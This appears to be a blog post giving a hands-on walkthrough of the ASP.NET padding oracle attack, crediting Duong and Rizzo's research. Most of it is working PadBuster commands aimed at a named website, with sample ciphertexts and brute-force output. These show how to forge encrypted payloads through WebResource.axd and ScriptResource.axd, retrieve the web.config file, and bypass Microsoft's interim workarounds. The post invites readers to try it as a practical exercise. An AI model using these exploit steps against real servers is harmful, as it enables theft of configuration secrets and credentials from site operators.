ASP.net Padding Oracle attack
Attention .NET developers!!! You have a vulnerability in ASP.net. You guys might be wondering that we know the prevention of XSS and SQLi so where is the vulnerability.
Guys, This is not just a simple vulnerability, by exploiting this an attacker can decrypt the ciphers and can get the logins/passwords or other encrypted information.
All credits go to T. Duong and J. Rizzo of Netifera Security for their research.
People who want to know more about this, can go to here.
People who want to do a practical, just scroll down a li'l bit.
Tools (perl scripts actually) required:
PadBuster
WebConfig Bruter
Step 1: Encrypt the Payload using CBC-R
The first step of the attack is to identify a component that is vulnerable to the padding oracle attack and use it to encrypt the web.config payload (|||~/web.config). This can typically be done in a few ways:
1 – Using WebResource.axd as a padding oracle for CBC-R.
If CustomErrors are NOT enabled, then you don’t even need a valid ciphertext sample to exploit the oracle…you can use an encoded dummy value of all NULLS instead (AAAAAAAAAAAAAAAAAAAAAA2).
PadBuster.pl http://www.kislaybhardwaj.com/WebResource.axd?d=AAAAAAAAAAAAAAAAAAAAAA2 AAAAAAAAAAAAAAAAAAAAAA2 16 -encoding 3 -plaintext "|||~/web.config"
If CustomErrors ARE enabled, you can still use WebResource.axd as the oracle. The caveat, however, is that you’ll need to use a valid ciphertext query string sample and use the -prefix option so that PadBuster sends this sample as the prefix of each test request.
padBuster.pl http://www.kislaybhardwaj.com/WebResource.axd?d=1s45vAJre3GVd98iQoAjgQ2 1s45vAJre3GVd98iQoAjgQ2 16 -encoding 3 -plaintext "|||~/web.config" -prefix 1s45vAJre3GVd98iQoAjgQ2
2 – Using ScriptResource.axd as a padding oracle for CBC-R.
Like with the web resource handler, this is pretty straightforward if CustomErrors are not enabled:
padBuster.pl http://www.kislaybhardwaj.com/ScriptResource.axd?d=1s45vAJre3GVd98iQoAjgQ2 1s45vAJre3GVd98iQoAjgQ2 16 -encoding 3 -plaintext "|||~/web.config"
If CustomErrors ARE enabled, this handler can also be used as a padding oracle. The interesting thing about this technique is that it seems to work despite implementing all of the workarounds that Microsoft recommendedbefore the patch was issued (CustomErrors using RedirectMode and optional Sleep). This technique, however, requires use of the brute force option so I’ll come back to that in a bit.
Step 2: Verify the encrypted payload does NOT include pipes
This step is optional, but certainly worth performing to ensure that you aren’t headed down a dead end road. In order for the exploit to work, the payload you send to the handler (including the “garbage” IV block) CANNOT include any pipe characters. If it does, the payload will never work. To verify this, you can use the padding oracle to decrypt your payload and verify its contents. So assuming that Step 1 produced a payload value of “iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1″, then the following command would be used to verify the contents of the payload. Make sure to use the -noiv option as the first block is the one you are most interested in.
padBuster.pl http://www.kislaybhardwaj.com/WebResource.axd?d=iJBC6whziIIWQhKYX4KDpwAAAAAAA AAAAAAAAAAAAAA1 iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1 16 -encoding 3 -noiv
So what if your payload DOES include pipes? Not to fear, there’s an easy workaround for this too. You may have noticed that when you decrypt samples using PadBuster, it prints
the HEX encoded Ciphertext Bytes and Intermediate Bytes with the results of each block. You can optionally use any of these pairs along with the -ciphertext and -intermediate switches to feed PadBuster a known pair of ciphertext/intermediate values for use during CBC-R encryption. Using any one of these pairs to encrypt your exploit payload should produce a different payload than would otherwise be generated by PadBuster on its own, which can then be verified to ensure that it does not contain pipes.
Step 3: Brute force the first block
Now that you have a valid payload, the final step is to obtain the first block that will trigger the file download logic. The reason this step is tricky is that the Framework typically does not pass an IV along with the ciphertext. As such, we can’t use the padding oracle to reliably produce our desired first block.The good news is that since you only need the first two bytes of the decrypted value to trigger our exploit (either Q#,q#,R# or r#) you can essentially brute force the needed block with fairly reliable success. And the even better news is that you’d be surprised at how quick it is to blindly brute force one of these values.
The approach taken by PadBuster is similar, but slightly different, than the approach used by Web.config Bruter script released by Giorgio Fedon. I must again credit James Martin for originally sharing his proof of concept exploit code with me that leveraged this technique for identifying the first block. Instead of random block values, however, PadBuster performs a sequential brute force starting with all NULLS. The sequential brute force ensures that you never attempt the same block value more than once and also allows you to resume the brute force where you left off if the script gets killed (using the -resume option). The example shown below assumes the payload from our Step 2 example above:
padBuster.pl http://www.kislaybhardwaj.com/ScriptResource.axd?d=iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAA AAAAAAAAAA1 iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1 16 -encoding 3 -bruteforce -log
PadBuster’s brute force mode works similar to the other modes of PadBuster, where the first step is an automated response analysis. The main difference is that rather than identifying a padding error, you want to identify an error that indicates failure of the brute force attempt rather than success. In most cases, you may have only one response to choose from…which is totally fine (unless one of the initial 256 fuzzing attempts produces a different response). In the case of ScriptResource.axd, there’s a good chance you’ll have more than one as shown below.
INFO: Starting PadBuster Brute Force Mode [+] Starting response analysis... *** Response Analysis Complete *** The following response signatures were returned:
------------------------------------------------------- ID# Freq Status Length Location ------------------------------------------------------- 1 1 200 337 N/A 2 ** 255 404 1524 N/A
------------------------------------------------------- Enter an ID that matches the error condition NOTE: The ID# marked with ** is recommended :
The reason for the 200 response included above is the T-Block. For our purposes, we are not using the T-Block so we can select signature #2 (the 404). PadBuster will continue issuing brute force attempts and notify you of every response that does not match this signature. You’ll likely get several T-Block hits similar to the 200 response shown above before you hit a block that returns the web.config as shown below (this is just an excerpt from the output)
Attempt 4275 - Status: 200 - Content Length: 367
http://www.kislaybhardwaj.com/ScriptResource.axd?d=igA4AAAAAAAAAAAAAAAAAA8AKxtNMQoQQxBBBBVqZAJ2R8LhDGgKEb9nsHoH-jVA0
Attempt 4561 - Status: 200 - Content Length: 360
http://www.kislaybhardwaj.com/ScriptResource.axd?d=4AA4AAAAAAAAAAAAAAAAAA8AKxtNMQoQQxBBBBVqZAJ2R8LhDGgKEb9nsHoH-jVA0
Attempt 4792 - Status: 200 - Content Length: 100277
http://www.kislaybhardwaj.com/ScriptResource.axd?d=xwA5AAAAAAAAAAAAAAAAAA8AKxtNMQoQQxBBBBVqZAJ2R8LhDGgKEb9nsHoH-jVA0
Attempt 5353 - Status: 200 - Content Length: 359
http://www.kislaybhardwaj.com/ScriptResource.axd?d=BAA6AAAAAAAAAAAAAAAAAA8AKxtNMQoQQxBBBBVqZAJ2R8LhDGgKEb9nsHoH-jVA0
As you can imagine, it’s difficult to tell whether these responses contain anything meaningful based solely on the data that is printed to the screen. In the case of this exploit, we know that the web.config file is likely going to be much larger than the small T-Block responses which average around 500 Bytes. You can actually see that in the excerpt above, attempt number 4792 shows a much larger content length…this is the response that contains the web.config file. The inclusion of unwanted T-Block responses in our output is a result of our desire to maintain PadBuster as a universal tool that is not specific to a particular vulnerability such as this one.
You may also have noticed that our original command made use of another new option (-log). The “log” option tells PadBuster to log various output files in an automatically
generated folder using the PadBuster.DDMMYY-TIME naming convention. This option is critical for use in brute force mode, since each matching response is logged to this folder and can be easily reviewed to determine whether the brute force attempt worked. For the case of a web.config download exploit, I recommend running the above command and monitoring the output folder to determine when a significantly larger response file gets created.
Bypassing the Workarounds
Now that you’ve seen how to retrieve the web.config, let’s go back to an alternate technique for using ScriptResource.axd as a padding oracle. As I mentioned previously, this technique works despite implementing therecommended workarounds initially presented by Microsoft in their guidance preceding the patch release. To start, you’ll need a valid ciphertext sample. The sample, however, does not have to be valid for the script resource handler (it can be taken from any Framework component…most easily from the WebResource.axd query string).
Step 1: Find a valid T-Block Request
Using the obtained sample, along with the -bruteforce option, the following command can be used to quickly brute force a valid T-Block. The following example assumes that we were able to obtain a valid “d” value from a link to the web resource handler (/WebResource.axd?d=qmZbysenet6VGS94Ord8gQ2&t=633768217780468750).
padBuster.pl http://www.kislaybhardwaj.com/ScriptResource.axd?d=qmZbysenet6VGS94Ord8gQ2 qmZbysene t6VGS94Ord8gQ2 16 -encoding 3 -bruteforce
Once you run PadBuster with these options, and select the default error pattern, you should get a 200 response within the first few hundred requests similar to the one shown below:
Attempt 60 - Status: 200 - Content Length: 337
http://www.kislaybhardwaj.com/ScriptResource.axd?d=OwAAAAAAAAAAAAAAAAAAAKpmW8rHp3relRkveDq3fIE1
Step 2: Use the obtained T-Block with the -prefix option
Now you can leverage the obtained T-Block request, along with the -prefix option, to use the script resource handler as a padding oracle as shown below.
padBuster.pl http://www.kislaybhardwaj.com/ScriptResource.axd?d=qmZbysenet6VGS94Ord8gQ2 qmZbysene t6VGS94Ord8gQ2 16 -encoding 3 -noiv -prefix OwAAAAAAAAAAAAAAAAAAAKpmW8rHp3relRkveDq3fIE1
